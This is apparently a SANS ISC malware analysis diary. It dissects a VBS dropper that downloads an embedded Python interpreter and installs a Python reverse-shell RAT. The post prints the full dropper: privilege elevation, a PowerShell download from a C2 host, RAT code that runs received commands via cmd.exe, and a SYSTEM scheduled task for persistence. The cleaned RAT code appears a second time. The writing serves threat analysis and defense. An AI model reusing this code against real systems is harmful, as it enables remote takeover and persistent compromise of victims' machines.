No Python Interpreter? This Simple RAT Installs Its Own Copy
For a while, I'm keeping an eye on malicious Python code targeting Windows environments[1][2]. If Python looks more and more popular, attackers are facing a major issue: Python is not installed by default on most Windows operating systems. Python is often available on developers, system/network administrators, or security teams. Like the proverb says: "You are never better served than by yourself", I found a simple Python backdoor that installs its own copy of the Python interpreter!
The backdoor is installed via a VBS script (SHA256:eda050c767cb65150b1f4c8a4307c15baf5aebf211367191aaf7ede3aee823d5) has a VT score of 11/58[3]. I don't know how it is delivered and executed on the target computer but, it is light and easy to read. Here is a full copy:
1 If Not WScript.Arguments.Named.Exists("elevate") Then 2 CreateObject("Shell.Application").ShellExecute WScript.FullName _ 3 , """" & WScript.ScriptFullName & """ /elevate", "", "runas", 1 4 WScript.Quit 5 End If 6 Set objFSO=CreateObject("Scripting.FileSystemObject") 7 If objFSO.FileExists("C:\Program Files\Windows socket\socket.bat") then 8 WScript.Quit 1 9 End If 10 Set oShell = WScript.CreateObject ("WScript.Shell") 11 oShell.run "cmd /c mkdir C:\""Program Files""\python389", 0 12 oShell.run "cmd /c mkdir C:\""Program Files""\""Windows socket""", 0 13 WScript.Sleep 1200 14 oShell.run "powershell -c ""(New-Object System.NET.Webclient).DownloadFile('hxxp://friz[.]ga/payloads/python-3.8.9-embed-amd64.zip','C:\Program Files\python389\python-3.8.9-embed-amd64.zip');""", 0, 1 15 set objShell = CreateObject("Shell.Application") 16 set FilesInZip=objShell.NameSpace("C:\Program Files\python389\python-3.8.9-embed-amd64.zip").items 17 objShell.NameSpace("C:\Program Files\python389").CopyHere(FilesInZip) 18 Set objFSO=CreateObject("Scripting.FileSystemObject") 19 outBat="c:\Program Files\Windows socket\socket.bat" 20 Set objSocket = objFSO.CreateTextFile(outBat,True) 21 objSocket.WriteLine "C:\""Program Files""\python389\python.exe ""C:\Program Files\Windows socket\rat.py""" 22 outPython="c:\Program Files\Windows socket\rat.py" 23 Set objPython = objFSO.CreateTextFile(outPython,True) 24 objPython.WriteLine "import socket" 25 objPython.WriteLine "import os" 26 objPython.WriteLine "import subprocess" 27 objPython.WriteLine "sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)" 28 objPython.WriteLine "sock.connect(('friz.ga', 7676))" 29 objPython.WriteLine "sock.send(b'c\\r\\n')" 30 objPython.WriteLine "" 31 objPython.WriteLine "while 1:" 32 objPython.WriteLine " output = ''" 33 objPython.WriteLine " data = sock.recv(1024)" 34 objPython.WriteLine " msg = data.decode('UTF-8')" 35 objPython.WriteLine " print(msg)" 36 objPython.WriteLine " try:" 37 objPython.WriteLine " output = subprocess.check_output(['cmd.exe', f'/c {msg}']) " 38 objPython.WriteLine " print(output) " 39 objPython.WriteLine " except subprocess.CalledProcessError as err:" 40 objPython.WriteLine " print(err)" 41 objPython.WriteLine " #sock.send(bytes(output, 'utf-8'))" 42 objPython.WriteLine "" 43 objPython.WriteLine " try:" 44 objPython.WriteLine " sock.send(output)" 45 objPython.WriteLine " except:" 46 objPython.WriteLine " pass" 47 objPython.WriteLine " " 48 objPython.WriteLine "" 49 objPython.WriteLine " if not data:" 50 objPython.WriteLine " pass" 51 objPython.WriteLine " #sock.send(b'\n')" 52 objPython.WriteLine " " 53 objPython.WriteLine "" 54 objPython.WriteLine "conn.close" 55 oShell.run "schtasks /create /F /ru ""SYSTEM"" /sc onlogon /tn WinSocket /rl highest /tr ""\""C:\Program Files\Windows socket\socket.bat""\"" ", 0 56 oshell.run "schtasks /run /I /TN WinSocket", 0
First, the script tries to elevate its privileges (lines 1-5) with a common technique. Files will be dropped in two directories (lines 11-12). A Python environment is downloaded and extracted in C:\Program Files\python389 (lines 14-17). A batch file is created (lines 19-21) to execute the RAT ("C:\Program Files\python389\python.exe" "C:\Program Files\Windows socket\rat.py"). Finally, the RAT is created (lines 22-54). Here is a cleaner code:
import socket import os import subprocess sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('friz[.]ga', 7676)) sock.send(b'c\\r\\n') while 1: output = '' data = sock.recv(1024) msg = data.decode('UTF-8') print(msg) try: output = subprocess.check_output(['cmd.exe', f'/c {msg}']) print(output) " except subprocess.CalledProcessError as err: print(err) #sock.send(bytes(output, 'utf-8')) try: sock.send(output) except: pass if not data: pass #sock.send(b'\n') conn.close
The script is easy to understand, it connects to the C2 (friz[.]ga:7676) and expects some commands. They are executed and the result is sent back.
Finally, persistence is achieved through the creation of a scheduled task (lines 55-56).
This technique may look pretty invasive because a Python environment requires the installation of many files but the archive dropped by this script is the "embeddable package"[4] that contains the minimum set of files (SHA256:6d9a18cee86819d86442fc67d4ffe9fd5819cbaedd350b4c92b84160bd1acd48):
remnux@remnux:/MalwareZoo/20210409$ unzip -t python-3.8.9-embed-amd64.zip Archive: python-3.8.9-embed-amd64.zip testing: python.exe OK testing: pythonw.exe OK testing: python38.dll OK testing: python3.dll OK testing: vcruntime140.dll OK testing: vcruntime140_1.dll OK testing: LICENSE.txt OK testing: pyexpat.pyd OK testing: select.pyd OK testing: unicodedata.pyd OK testing: winsound.pyd OK testing: _asyncio.pyd OK testing: _bz2.pyd OK testing: _ctypes.pyd OK testing: _decimal.pyd OK testing: _elementtree.pyd OK testing: _hashlib.pyd OK testing: _lzma.pyd OK testing: _msi.pyd OK testing: _multiprocessing.pyd OK testing: _overlapped.pyd OK testing: _queue.pyd OK testing: _socket.pyd OK testing: _sqlite3.pyd OK testing: _ssl.pyd OK testing: libcrypto-1_1.dll OK testing: libffi-7.dll OK testing: libssl-1_1.dll OK testing: sqlite3.dll OK testing: python38.zip OK testing: python38._pth OK testing: python.cat OK No errors detected in compressed data of python-3.8.9-embed-amd64.zip.
[1] https://isc.sans.edu/forums/diary/Python+and+Risky+Windows+API+Calls/26530
[2] https://isc.sans.edu/forums/diary/Simple+Python+Keylogger/27216
[3] https://www.virustotal.com/gui/file/eda050c767cb65150b1f4c8a4307c15baf5aebf211367191aaf7ede3aee823d5/detection
[4] https://www.python.org/downloads/windows/
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments